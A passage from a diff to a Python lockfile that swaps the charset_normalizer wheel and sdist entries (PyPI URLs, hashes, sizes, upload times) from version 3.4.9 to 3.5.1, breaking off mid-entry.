"https://files.pythonhosted.org/packages/e8/5f/b98b8da398637b551e427e7be922bdec19177dc54d6811dcdaa503f23aac/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bb41182d93ea91f60b4bc8fbf4c820c69ef8a12ab2d917f3f1834f1acad07e8", size = 223817, upload-time = "2026-07-07T14:32:42.592Z" }, - { url = "https://files.pythonhosted.org/packages/36/31/a276bb2e66243072a3fd06fdcab9cbb61a305b02143d70d2bda21d888fa8/charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:bcf74c1df76758a395bf0af608c04c82257523f55c9868b334f06270d0f2112b", size = 207974, upload-time = "2026-07-07T14:32:44.258Z" }, - { url = "https://files.pythonhosted.org/packages/5e/be/7ee4453d7e88dfbc4104ccd34900b9f2c7c17dac22881865fe0e82424a25/charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b5314963fce9b0b12743891de876e724997864ee22aa496f903f426c7e2fa5b2", size = 221655, upload-time = "2026-07-07T14:32:45.64Z" }, - { url = "https://files.pythonhosted.org/packages/1d/85/181c652953eb5276d198f375b1dd641047392050098100a3a02d6534f657/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e9701d0049d92c16703a42771b98d560b95248949f23f8cf7b4eddd201814fb9", size = 219229, upload-time = "2026-07-07T14:32:47.376Z" }, - { url = "https://files.pythonhosted.org/packages/0c/e7/aaf6da33fc9f4691cda8f7efbc9f69179d3d39ec8a4799baf273ee1d8db0/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:65a7ff3f705e57d392f7261b6d0550fe137c3019477431f1c355e0db0a7d3e15", size = 209704, upload-time = "2026-07-07T14:32:48.855Z" }, - { url = "https://files.pythonhosted.org/packages/63/01/f2fb3bd3a73be48b173ee0c6aa8d2497af97d5663a8c4c4b491de4c62f7a/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79580094b00d1789d1f93ea55bc43cb2f611910c72235b7657f3482ddcc1b22d", size = 226243, upload-time = "2026-07-07T14:32:50.239Z" }, - { url = "https://files.pythonhosted.org/packages/c4/02/c57a22739fe05246b0b5783b3bfb6afaac4eebb46f3ececdfb2f048f780e/charset_normalizer-3.4.9-cp310-cp310-win32.whl", hash = "sha256:432786d3561e69aeeae6c7e8648964ce0ad05736120135601f87ac26b9c83381", size = 150935, upload-time = "2026-07-07T14:32:51.676Z" }, - { url = "https://files.pythonhosted.org/packages/37/8d/ca39a7559a4797505530d084fd3a49a2c959efbbbff146302fb7be4e3b35/charset_normalizer-3.4.9-cp310-cp310-win_amd64.whl", hash = "sha256:8c041122946b7ba21bb32c45b1aa57b1be35527690aeb3c5c234521085632eee", size = 162314, upload-time = "2026-07-07T14:32:53.193Z" }, - { url = "https://files.pythonhosted.org/packages/01/da/a44bd7a13d426e69e4894557106cd58669097bfad4a8681123b618fbfc5d/charset_normalizer-3.4.9-cp310-cp310-win_arm64.whl", hash = "sha256:375b83ed0aecfce76c16d198fbc21f3b11b337d68662bea0a995046682a11419", size = 153075, upload-time = "2026-07-07T14:32:54.554Z" }, - { url = "https://files.pythonhosted.org/packages/0b/e3/85ec501f206fb049259288c1f3506e53876937fb00edb47009348e66756b/charset_normalizer-3.4.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0e94703ec9684807f20cfb5eed95c70f67f2a8f21ad620146d7b5a13677b93e5", size = 317075, upload-time = "2026-07-07T14:32:56.021Z" }, - { url = "https://files.pythonhosted.org/packages/c3/69/2a5385192e67175f7d8bd5ce4f57c24bc956439adeae5c13a99aa28a53d1/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a441ea71902098ffe78c5abe6c494f44160b4af614ed16c3d9a3b1d17fd8ee2", size = 213837, upload-time = "2026-07-07T14:32:57.78Z" }, - { url = "https://files.pythonhosted.org/packages/b3/46/03ddc7da576d814fe0a36dd1f0fd3258e95404b4b2e3c026b7923d7e133f/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:304b13570067b2547562e308af560b3963857b1fa90bd6afd978130130fe2d6a", size = 235503, upload-time = "2026-07-07T14:32:59.205Z" }, - { url = "https://files.pythonhosted.org/packages/4e/6e/de0229a7ef40f6f9d28a837eebf4ec47bdca5dab4e900c84f22919af636a/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4773092f8019072343a7447203308b176e10199920eb02d6195e81bbb3274c29", size = 229944, upload-time = "2026-07-07T14:33:00.803Z" }, - { url = "https://files.pythonhosted.org/packages/a5/34/49b9060e8418b14fb5cba9cf6bfb383111e2538a03a1fb18e66a95aeb3d5/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:04ce310cb89c15df659582aee80a0603788732a5e017d5bd5c81158106ce249c", size = 221276, upload-time = "2026-07-07T14:33:02.199Z" }, - { url = "https://files.pythonhosted.org/packages/44/95/80282cce0fae9c3061203d723ee87da996aed79679e65d8935050ee7ca1f/charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:c0323c9daef75ef2e5083624b4585018a0c9d5e3b40f607eed81a311270b934b", size = 205260, upload-time = "2026-07-07T14:33:03.698Z" }, - { url = "https://files.pythonhosted.org/packages/0c/74/2f62c8821b969ea3bd67cc2e6976834f48ca5d12664d2559ebcd9bcfbed7/charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:871ff67ea1aad4dfd91736464934d56b32dac49f9fbe16cddba36198a7b3a0db", size = 217786, upload-time = "2026-07-07T14:33:05.12Z" }, - { url = "https://files.pythonhosted.org/packages/d9/8d/feabb82cb49fcad14515b1d7d1ca4787b0da7fc723a212bf89bc9e0fac52/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:67830fc78e67501f47bb950471b2dcb9b35b140084429318e862895a8e89c993", size = 216798, upload-time = "2026-07-07T14:33:06.629Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ff/c946d63bc3786d5b84d960b0f7ab7e25b828486a946b5aa997625bcaf6a6/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d92613ec25e43b05f042302531ec0f00b8445190e43325880cbd6ab7c2581da", size = 206429, upload-time = "2026-07-07T14:33:08.006Z" }, - { url = "https://files.pythonhosted.org/packages/af/ba/5e5007c370702f85d2ef75791fac7943ed41e080364a673b20142e430e3e/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:280081916dc341820640489a66e4696049401ef1cf6dd672f672e70ad915aca3", size = 223066, upload-time = "2026-07-07T14:33:09.783Z" }, - { url = "https://files.pythonhosted.org/packages/83/d5/9096aa3cf532dfad237861544eb47a0f20d5adbf1039760fed8eaae935d9/charset_normalizer-3.4.9-cp311-cp311-win32.whl", hash = "sha256:ac351b3b8014eead140e77e9717e2992c6bbe30b63bc3422422eb84865412e3d", size = 150456, upload-time = "2026-07-07T14:33:11.217Z" }, - { url = "https://files.pythonhosted.org/packages/ed/a1/e29995109e455dc8eff8d0fac6ae509be39561318a7cfeac5d33ad029213/charset_normalizer-3.4.9-cp311-cp311-win_amd64.whl", hash = "sha256:6366a16e1a25018694d6a5d784d09b046edc9eac40ea2b54065c3052672516a1", size = 161410, upload-time = "2026-07-07T14:33:12.743Z" }, - { url = "https://files.pythonhosted.org/packages/4f/8d/1569f4d0032d6ba2a4fe4591c35bf87868c600c41a71eb5c2e1ffa8464c2/charset_normalizer-3.4.9-cp311-cp311-win_arm64.whl", hash = "sha256:1d22856ffbe153a602df38e4a5464f0b748a54002e0d69ac6d2ad0a197cc99ec", size = 152649, upload-time = "2026-07-07T14:33:14.173Z" }, - { url = "https://files.pythonhosted.org/packages/70/4a/ecbd131485c07fcdfad54e28946d513e3da22ef3b4bd854dcafae54ec739/charset_normalizer-3.4.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:45b0cc4e3556cd875e09102988d1ab8356c998b596c9fced84547c8138b487a0", size = 319300, upload-time = "2026-07-07T14:33:15.666Z" }, - { url = "https://files.pythonhosted.org/packages/ec/96/5d9364e3342d69f3a045e1777bc47c85c383e6e9466d561b33fdb419d1f9/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9b2aff1c7b3884512b9512c3eaadd9bab39fb45042ffaaa1dd08ff2b9f8109d9", size = 215802, upload-time = "2026-07-07T14:33:17.031Z" }, - { url = "https://files.pythonhosted.org/packages/4b/4c/5361f9aa7f2cb58d94f2ab831b3d493f69efb1d239654b4744e3c09527cb/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9104ed0bd76a429d46f9ec0dbc9b08ad1d2dcdf2b00a5a0daa1c145329b35b44", size = 237171, upload-time = "2026-07-07T14:33:18.576Z" }, - { url = "https://files.pythonhosted.org/packages/50/78/ce342ca4ff30b2eb49fe6d9578df85974f90c67d294113e94efdd9664cbd/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7b86a2b16095d250c6f58b3d9b2eee6f4147754344f3dab0922f7c9bf7d226c9", size = 233075, upload-time = "2026-07-07T14:33:20.084Z" }, - { url = "https://files.pythonhosted.org/packages/01/c4/4fa4c8b3097a11f3c5f09a35b72ed6855fb1d332469504962ab7bafcc702/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e226f6218febc71f6c1fc2fafb91c226f75bdc1d8fb12d66823716e891608fd", size = 224256, upload-time = "2026-07-07T14:33:21.747Z" }, - { url = "https://files.pythonhosted.org/packages/87/3a/ad914516df7e358a81aae018caa5e0470ba827fa6d763b1d2e87d920a5f6/charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:90c44bc373b7687f6948b693cceaea1348ae0975d7474746559494468e3c1d84", size = 208784, upload-time = "2026-07-07T14:33:23.313Z" }, - { url = "https://files.pythonhosted.org/packages/d7/74/3c12f9755717dfe5c5c87da63f35d765fa0c00382ec26bf23f7fae34f2ba/charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cdef90ae47919cae358d8ab15797a800ed41da7aba5d72419fb510729e2ed4b", size = 219928, upload-time = "2026-07-07T14:33:24.814Z" }, - { url = "https://files.pythonhosted.org/packages/33/9a/895095b83e7907abd6d3d99aad3a38ad0d9686cc186cb0c94c24320fe63e/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:60f44ade2cf573dad7a277e6f8ca9a51a21dda572b13bd7d8539bb3cd5dbedde", size = 218489, upload-time = "2026-07-07T14:33:26.42Z" }, - { url = "https://files.pythonhosted.org/packages/a1/34/ef5c05f412f42520d7709b7d3784d19640839eb7366ded1755511585429f/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1786910334ed46ab1dd73222f2cd1e05c2c3bb39f6dddb4f8b36fc382058a39", size = 210267, upload-time = "2026-07-07T14:33:27.952Z" }, - { url = "https://files.pythonhosted.org/packages/83/dc/9b29fa4412b318bf3bfea985c35d67eb55e04b59a7c3f2237168b0e0be6f/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:03d07803992c6c7bbc976327f34b18b6160327fc81cb82c9d504720ac0be3b62", size = 226030, upload-time = "2026-07-07T14:33:29.397Z" }, - { url = "https://files.pythonhosted.org/packages/0e/42/6dbc00b8cd16011691203e33570fa42ed5746599a2e878112d16eab403a3/charset_normalizer-3.4.9-cp312-cp312-win32.whl", hash = "sha256:78841cccf1af7b40f6f716338d50c0902dbe88d9f800b3c973b7a9a0a693a642", size = 151185, upload-time = "2026-07-07T14:33:30.781Z" }, - { url = "https://files.pythonhosted.org/packages/80/cc/f920afd1a23c58ccd53c1d36085a71893a4737ff5e66e0371efab6809850/charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl", hash = "sha256:4b3dac63058cc36820b0dd072f89898604e2d39686fe05321729d00d8ac185a0", size = 162557, upload-time = "2026-07-07T14:33:32.176Z" }, - { url = "https://files.pythonhosted.org/packages/f0/e6/0386d43a261ff4e4b30c5857af7df877254b46bec7b9d1b74b6bf969a90b/charset_normalizer-3.4.9-cp312-cp312-win_arm64.whl", hash = "sha256:78fa18e436a1a0e58dbd7e02fc4473f3f32cceb12df9dfca542d075961c307d2", size = 152665, upload-time = "2026-07-07T14:33:33.711Z" }, - { url = "https://files.pythonhosted.org/packages/b2/06/97ec2aeae780b31d742b6352218b43841a6871e2564578ca522dce4a45c3/charset_normalizer-3.4.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:440eede837960000d74978f0eba527be106b5b9aee0daf779d395276ed0b0614", size = 317688, upload-time = "2026-07-07T14:33:35.408Z" }, - { url = "https://files.pythonhosted.org/packages/d0/39/8ff066c672434225f8d25f8b739f992af250944392173dcc88362681c9bf/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21e764fd1e70b6a3e205a0e46f3051701f98a8cb3fad66eeb80e48bb502f8698", size = 214982, upload-time = "2026-07-07T14:33:36.996Z" }, - { url = "https://files.pythonhosted.org/packages/92/8f/3a47a3667c83c2df9483d91644c6c107de3bf8874aa1793da9d3012eb986/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e4fd89cc178bced6ad29cb3e6dd4aa63fa5017c3524dbd0b25998fb64a87cc8b", size = 236460, upload-time = "2026-07-07T14:33:38.536Z" }, - { url = "https://files.pythonhosted.org/packages/f1/60/b22cdbee7e4013dab8b0d7647fc6181120fbbbc8f7025c226d15bd5a47fc/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bd47ba7fc3ca94896759ea0109775132d3e7ab921fbf54038e1bab2e46c313c9", size = 232003, upload-time = "2026-07-07T14:33:40.059Z" }, - { url = "https://files.pythonhosted.org/packages/ea/f8/72eb13dcabe7257035cea8aefd922caad2f110d252bf9f67c4c2ca763aee/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:84fd18bcc17526fc2b3c1af7d2b9217d32c9c04448c16ec693b9b4f1985c3d33", size = 223149, upload-time = "2026-07-07T14:33:41.631Z" }, - { url = "https://files.pythonhosted.org/packages/b0/3e/faee8f9de92b14ee1198e9163252bb15efee7301b31256a3b6d9ebfdd0dd/charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:5b10cd92fc5c498b35a8635df6d5a100207f88b63a4dc1de7ef9a548e1e2cd63", size = 207901, upload-time = "2026-07-07T14:33:43.209Z" }, - { url = "https://files.pythonhosted.org/packages/3a/25/45f30093ae27dd7b92a793b61882a38685f993700113ca36e0c9c14965e1/charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a4fbdde9dd4a9ce5fd52c2b3a347bb50cc89483ef783f1cb00d408c13f7a96c0", size = 219176, upload-time = "2026-07-07T14:33:44.725Z" }, - { url = "https://files.pythonhosted.org/packages/48/18/c8f397329c35e32f6a837e488986f4ae03bd2abebc453b48714991630c2f/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:416c229f77e5ea25b3dfd4b582f8d73d7e43c22320302b9ab128a2d3a0b38efe", size = 217356, upload-time = "2026-07-07T14:33:46.192Z" }, - { url = "https://files.pythonhosted.org/packages/86/7e/5ce0bba863470fd1902d5e5843968951bddf38abe4742fc97116ef4598b3/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:75286256590a6320cf106a0d28970d3560aad9ee09aa7b34fb40524792436d35", size = 209614, upload-time = "2026-07-07T14:33:47.705Z" }, - { url = "https://files.pythonhosted.org/packages/6c/ef/2473d3c4d869155be4af1191111d59c4d5c4e0173026f7e85b176e23bf65/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:69b157c5d3292bcd443faca052f3096f637f1e074b98212a933c074ae23dc3b8", size = 224991, upload-time = "2026-07-07T14:33:49.238Z" }, - { url = "https://files.pythonhosted.org/packages/d0/a3/53ddae3db108a088156aa8ddfafd411ebbc1340f48c5573f697b27f69a39/charset_normalizer-3.4.9-cp313-cp313-win32.whl", hash = "sha256:51307f5c71007673a2bf8232ad973483d281e74cb99c8c5a990af1eefa6277d9", size = 150622, upload-time = "2026-07-07T14:33:50.711Z" }, - { url = "https://files.pythonhosted.org/packages/e8/ef/6953a77c7cf2c2ff9998e6f575ab3e380119f100223381565a4f94c1f836/charset_normalizer-3.4.9-cp313-cp313-win_amd64.whl", hash = "sha256:fe2c7201c642b7c308f1675355ad7ff7b66acfe3541625efe5a3ad38f29d6115", size = 161947, upload-time = "2026-07-07T14:33:52.197Z" }, - { url = "https://files.pythonhosted.org/packages/6e/fb/d560d1d1555debbfe7849d9cac6145c1b537709d79576bf22557ed803b82/charset_normalizer-3.4.9-cp313-cp313-win_arm64.whl", hash = "sha256:611057cc5d5c0afc743ba8be6bd828c17e0aaa8643f9d0a9b9bb7dea80eb8012", size = 152594, upload-time = "2026-07-07T14:33:53.486Z" }, - { url = "https://files.pythonhosted.org/packages/7e/8d/496817fa0944239ecae662dd57ea765cfeaec6a735f9f025d4b7b72e7143/charset_normalizer-3.4.9-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:0327fcd59a935777d83410750c50600ee9571af2846f71ce40f25b13da1ef380", size = 317253, upload-time = "2026-07-07T14:33:54.994Z" }, - { url = "https://files.pythonhosted.org/packages/2b/f9/ef4a69ea338ad3c0deceea0f5f7d2380ae8b52132b06d652cb0d2cd86706/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a79d9f4d8001473a30c163556b3c3bfebec837495a412dde78b51672f6134f9", size = 215898, upload-time = "2026-07-07T14:33:56.334Z" }, - { url = "https://files.pythonhosted.org/packages/8c/e7/5ddfd76fc061eb52de219658a4aa431cbacadf0a0219c8854f00da50d289/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33bdcc2a32c0a0e861f60841a512c8acc658c87c2ac59d89e3a46dacf7d866e4", size = 236718, upload-time = "2026-07-07T14:33:57.9Z" }, - { url = "https://files.pythonhosted.org/packages/49/ba/768fa3f36048d81c477a0ce61f813bc1454d80917ccfe550abd9f44f5e24/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f840ed6d8ecba8255df8c42b87fadeda98ddfc6eeec05e2dc66e26d46dd6f58a", size = 232519, upload-time = "2026-07-07T14:33:59.811Z" }, - { url = "https://files.pythonhosted.org/packages/f4/c4/b3e049d2aa3766180c78507110543d9d50894cc97f57de543f1be521dcdc/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c25fe15c70c59eb7c5ce8c06a1f3fa1da0ecc5ea1e7a5922c40fd2fa9b0d5046", size = 223143, upload-time = "2026-07-07T14:34:01.517Z" }, - { url = "https://files.pythonhosted.org/packages/19/79/55c32d06d76ae4feafe053f061f3e3ab70bcf19f4007797ce8c3efda7830/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:f7fb7d750cfa0a070d2c24e831fd3481019a60dd317ea2b39acbcebc08b6ed81", size = 206742, upload-time = "2026-07-07T14:34:03.04Z" }, - { url = "https://files.pythonhosted.org/packages/10/e0/47c079dd82d217c807479cd59ffd30af56307ea31c108b75758970459ad3/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1c96a7a18b9690a4d46df09e3e3382406ae3213727cd1019ebade1c4a81917", size = 219191, upload-time = "2026-07-07T14:34:04.657Z" }, - { url = "https://files.pythonhosted.org/packages/42/ab/b9bc2e77d6b44a7e46ef62ec5cac1c9a6ba7b9135a5d560f002696ec9995/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a4cfde78a9f2880208d16a93b795726a3017d5977e08d1e162a7a31322479c41", size = 218328, upload-time = "2026-07-07T14:34:06.115Z" }, - { url = "https://files.pythonhosted.org/packages/f1/78/c9c71d599f5aa2d42bcdd35cbbd46d7f535351a57e40ff7d8e5a7e219401/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d4d6fcde76f94f5cb9e43e9e9a61f16dacefd228cbbf6f1a09bd9b219a92f1a1", size = 207406, upload-time = "2026-07-07T14:34:07.554Z" }, - { url = "https://files.pythonhosted.org/packages/f6/39/c914445c321a845097ce4f6ac7de9a18228a77b766272125a1ce00d851eb/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:898f0e9068ca27d37f8e83a5b962821df851532e6c4a7d615c1c033f9da6eedf", size = 225157, upload-time = "2026-07-07T14:34:09.061Z" }, - { url = "https://files.pythonhosted.org/packages/9b/f2/c0d4b8508565a36bc5c624e88ed297f5b0b1095011034d7f5b83a69908b5/charset_normalizer-3.4.9-cp314-cp314-win32.whl", hash = "sha256:c1c948747b03be832dceed96ca815cef7360de9aa19d37c730f8e3f6101aca48", size = 151095, upload-time = "2026-07-07T14:34:10.901Z" }, - { url = "https://files.pythonhosted.org/packages/49/fd/a1d26144398c67486422a72bf5812cda22cb4ccfcd95a290fb41ceb4b8e2/charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b", size = 162796, upload-time = "2026-07-07T14:34:12.47Z" }, - { url = "https://files.pythonhosted.org/packages/20/95/d75e82f8ce9fd323ebf059c16c9aadefb22a1ecde13b7840b35835e4886c/charset_normalizer-3.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:40a126142a56b2dfc0aacbad1de8310cbf60da7656db0e6b16eebd48e3e93519", size = 153334, upload-time = "2026-07-07T14:34:14.044Z" }, - { url = "https://files.pythonhosted.org/packages/00/5e/17398df3a139985ba9d11ed072531986f408c8fca952835ef1ab1820c02b/charset_normalizer-3.4.9-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:609b3ba8fcc0fb5ab7af00719d0fb6ad0cb518e48e7712d12fd68f1327951198", size = 338848, upload-time = "2026-07-07T14:34:15.688Z" }, - { url = "https://files.pythonhosted.org/packages/cd/91/7253a32e86b7e1d1239b1b36ba6dd0f021a21107ab33054b53119cc083b9/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51447e9aa2684679af07ca5021c3db526e0284347ebf4ffcec1154c3350cfe32", size = 223022, upload-time = "2026-07-07T14:34:17.248Z" }, - { url = "https://files.pythonhosted.org/packages/cb/32/2e64bd2be10e89c61e57ebe6a93fd98ae88eb7ebe414b5121f22c96c69eb/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc1b0fff8ead343dae06305f954eb8468ba0ec1a97881f42489d198e4ce3c632", size = 241590, upload-time = "2026-07-07T14:34:18.813Z" }, - { url = "https://files.pythonhosted.org/packages/3d/ef/d96ec496cfea0c21db43b0ad03891308b02388d054cc902cf0e5a1ad6a88/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa36ec09ef71d158186bc79e359ff5fdd6e7996fe8ab638f00d6b93139ba4fcf", size = 239584, upload-time = "2026-07-07T14:34:20.52Z" }, - { url = "https://files.pythonhosted.org/packages/d4/ce/9af95f7876194bd7a14e3dfe4a4de2e0bff02666a3910d72beafd06cc297/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:df115d4d83168fdf2cae48ef1ff6d1cb4c466364e30861b37121de0f3bf1b990", size = 230224, upload-time = "2026-07-07T14:34:22.189Z" }, - { url = "https://files.pythonhosted.org/packages/52/94/af74dde74a3996bd959c350709bfe50e297823d70a8c1cbd54b838880863/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f86c6358749bd4fda175388691e3ba8c46e24c5347d0afd20f9b7edfc9faf07d", size = 212667, upload-time = "2026-07-07T14:34:23.857Z" }, - { url = "https://files.pythonhosted.org/packages/ee/f0/f1c4fe746c395922961b5916ed1d7d6e7d4c84851d19ed43cc89980ec953/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:32286a2c8d167e897177b673176c1e3e00d4057caf5d2b64eef9a3666b03018e", size = 227179, upload-time = "2026-07-07T14:34:25.586Z" }, - { url = "https://files.pythonhosted.org/packages/e4/56/6c745619ac397e8871e2bcd3cea1eec86b877488f33888b3aef5c3ed506e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:83aed2c10721ddd90f68140685391b50811a880af20654c59af6b6c66c40513c", size = 225372, upload-time = "2026-07-07T14:34:27.212Z" }, - { url = "https://files.pythonhosted.org/packages/78/ad/98aae8630ac71f16711968e38a5acfecce41b778bf2f0312851020f565a8/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cd6c3d4b783c556fa00bf540854e42f135e2f256abd29669fcd0da0f2dec79c2", size = 215222, upload-time = "2026-07-07T14:34:28.774Z" }, - { url = "https://files.pythonhosted.org/packages/f7/40/9593d54209765207a7f11073c06494c1721e4ca4a0a426c597679bf7f91e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ee2f2a527e3c1a6e6411eb4209642e138b544a2d72fe5d0d76daf77b24063534", size = 231958, upload-time = "2026-07-07T14:34:30.345Z" }, - { url = "https://files.pythonhosted.org/packages/b1/27/693ee5e8a18191eb38647360c51cd505013e2bd3b366aa43fd5344c21e3c/charset_normalizer-3.4.9-cp314-cp314t-win32.whl", hash = "sha256:0d861473f743244d349b50f850d10eb87aeb22bbdcc8e64f79273c94af5a8226", size = 155580, upload-time = "2026-07-07T14:34:31.884Z" }, - { url = "https://files.pythonhosted.org/packages/80/3f/bd97d3d9c613013d07cb7733d299385b41df37f0471310f5a73dc359f0b8/charset_normalizer-3.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:9b8e0f3107e2200b76f6054de99016eac3ee6762713587b36baaa7e4bd2ae177", size = 167620, upload-time = "2026-07-07T14:34:33.438Z" }, - { url = "https://files.pythonhosted.org/packages/3d/c6/eee9dca4439b1061f76373f06ea855678cc4a64c1c3c90b50e479edbb8eb/charset_normalizer-3.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:19ac87f93086ce37b86e098888555c4b4bc48102279bae3350098c0ed664b501", size = 158037, upload-time = "2026-07-07T14:34:35.018Z" }, - { url = "https://files.pythonhosted.org/packages/98/2b/f97f1c193fb855c345d678f5077d6926034db0722df74c8f057020e05a25/charset_normalizer-3.4.9-py3-none-any.whl", hash = "sha256:68e5f26a1ad57ded6d1cfb85331d1c1a195314756471d97758c48498bb4dcdf5", size = 64538, upload-time = "2026-07-07T14:34:56.993Z" }, +version = "3.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa", size = 369072, upload-time = "2026-08-15T08:16:22.964Z" }, + { url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 